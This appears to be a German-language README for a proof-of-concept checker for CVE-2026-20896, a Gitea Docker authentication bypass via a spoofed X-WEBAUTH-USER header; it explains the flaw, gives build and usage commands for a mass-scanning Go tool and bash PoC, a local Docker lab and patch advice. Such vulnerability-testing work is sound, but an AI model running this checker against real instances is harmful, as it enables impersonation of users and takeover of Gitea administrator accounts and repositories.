
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER Authentifizierungs-Bypass-Checker
Nur für autorisierte Red-Team-/Pentest-Operationen.
Dieses Repository enthält einen minimalen Checker für CVE-2026-20896, eine Authentifizierungsumgehung in offiziellen Gitea Docker-Images bis einschließlich 1.26.2, wenn Reverse-Proxy-Authentifizierung aktiviert ist.
Betroffene Gitea Docker-Images enthielten eine app.ini-Vorlage mit:
REVERSE_PROXY_TRUSTED_PROXIES = *
Wenn ein Administrator Folgendes aktivierte:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea vertraute X-WEBAUTH-USER von jeder Quell-IP, die direkt den HTTP-Port des Containers erreichen konnte. Ein Client, der den vorgesehenen authentifizierenden Reverse-Proxy umging, konnte einen einzelnen Header senden und sich als bekannter oder erratbarer Benutzer ausgeben.
Die praktische Auswirkung ist die nicht authentifizierte Identitätsübernahme eines Kontos. Wenn der erratene Benutzer ein Administrator ist, ist der schlimmste Fall die vollständige Übernahme der Gitea-Instanz und ihrer Repositorys auf Anwendungsebene. Host-RCE ist umgebungsabhängig und wird von diesem Checker nicht behauptet.
Gepatchte Versionen beginnen bei 1.26.3; ein Upgrade auf 1.26.4 oder neuer wird empfohlen.
Der Checker:
Powered by Gitea Version: 1.26.4.>= 1.26.3 ist.GET /-Anfragen mit X-WEBAUTH-USER: <username> für jeden angegebenen Benutzernamen.Die Go-Version unterstützt mehrere Ziele, Benutzernamendateien, Nebenläufigkeit, Timeouts, JSONL-Ausgabe, TLS --insecure, --dry-run und --force.
go build -o gitea-cve-2026-20896-check .
Es werden keine Go-Abhängigkeiten von Drittanbietern benötigt.
Einzelnes Ziel:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
Mehrere Ziele und Benutzernamen:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
Probelauf:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Bash-Fallback:
./poc.sh --url http://localhost:3000 --users admin,alice
0: mindestens eine verwundbare Identitätsübernahme wurde bestätigt1: keine verwundbare Identitätsübernahme wurde bestätigt2: Verwendungs-, Eingabe- oder LaufzeitfehlerDas folgende Labor startet einen betroffenen lokalen Gitea-Container und erstellt einen Testbenutzer:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
Erwartetes positives Ergebnis:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
Bereinigung:
docker rm -f gitea-cve-2026-20896
1.26.3 oder neuer; 1.26.4 oder neuer wird bevorzugt.1.26.3 / 1.26.4: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/